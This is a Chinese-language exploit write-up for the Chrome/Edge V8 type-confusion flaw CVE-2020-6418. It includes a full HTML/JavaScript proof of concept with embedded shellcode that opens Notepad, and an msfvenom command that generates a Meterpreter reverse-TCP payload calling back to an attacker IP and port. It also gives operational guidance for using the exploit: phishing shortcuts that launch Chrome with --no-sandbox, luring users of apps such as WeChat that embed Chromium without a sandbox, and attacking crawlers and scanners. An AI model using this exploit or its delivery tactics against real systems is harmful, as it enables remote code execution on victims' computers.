1. 漏洞簡介
2月25日,谷歌Chrome瀏覽器與微軟Edge瀏覽器發布了安全更新,在Google Chrome瀏覽器80.0.3987.122以下與Microsoft Edge瀏覽器80.0.361.62以下的版本中,開源JavaScript和WebAssembly引擎V8中存在一個類型混淆漏洞(CVE-2020-6418),可能導致攻擊者非法訪問數據,從而執行惡意代碼。有研究人員發現,在更新發布前,該漏洞就已經被攻擊者用於實際攻擊。
1.1 影響范圍
Google Chrome < 80.0.3987.122
實際測試中90版本也受影響
Microsoft Edge < 80.0.361.62
使用V8引擎的瀏覽器
1.2 利用條件
chrome開啟--no-sandbox
,即以無沙盒模式啟動
如果成功以無沙盒模式啟動,chrome會有提示。未成功可先關掉其他正常chrome,再嘗試無沙盒啟動
2. 復現
2.1 彈記事本
poc
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
</head>
</html>
cmd運行"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox
,以無沙箱啟動chrome訪問poc頁面
2.2 msf上線
msf生成64位shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.146.231 LPORT=16041 -f c > /root/CVE-2020-6418/poc.c
notepad++修改代碼,去"
,多行合並一行,\
替換成,0
,將修改后的shellcode替換到彈記事本poc中shellcode處
python起個http服務分享poc頁面
靶機訪問該網頁即上線msf
靶機關閉poc網頁會導致掉線
3. 實戰利用場景
始終注意,需要滿足無沙盒啟動chrome的條件
3.1 快捷方式釣魚[點擊上線]
創建chrome快捷方式
創建的快捷方式右鍵-屬性-快捷方式-目標 處加上--no-sandbox 利用頁面url
打開該快捷方式即上線
在實際釣魚中,可通過修改圖標/配合圖文/插入到word中等誘導受害者點擊
3.2 結合無沙盒啟動chrome的應用[點擊上線]
一些應用內部打開網頁時,是以無沙盒方式調用內置基於chrome的瀏覽器[優化性能],攻擊者通過發送鏈接等方式誘導受害者在應用內打開加載利用js代碼的網頁即可實現點擊上線
無沙盒運行Chromium的應用列表
國內如wpspdf,為知筆記,有道雲筆記等,測試中為知和wpspdf都是--no-sandbox,但彈窗均未成功,可能和所使用chrome版本有關
- 微信
微信 RCE 0day演示- 附POC下載
微信3.2.1.141以前版本,內置基於chrome的瀏覽器默認以無沙盒方式啟動
- 為知
- wps
3.3 反制爬蟲/掃描器
部分爬蟲也是調用了chrome,而且為了性能考慮關了沙盒。部署利用頁面在網站內讓調用無沙盒chrome的爬蟲爬取即可反制
appscan[已證實可上線],rad都是--no-sandbox調用chrome的
burp---反制爬蟲之Burp Suite RCE
4. 參考
https://github.com/fengxuangit/ChromeRce
https://mp.weixin.qq.com/s/Mu1o-Ky9wn8T6IDhx7_skQ
https://www.bilibili.com/video/BV1e64y1v7qB
http://blog.nsfocus.net/cve-2020-6418-2/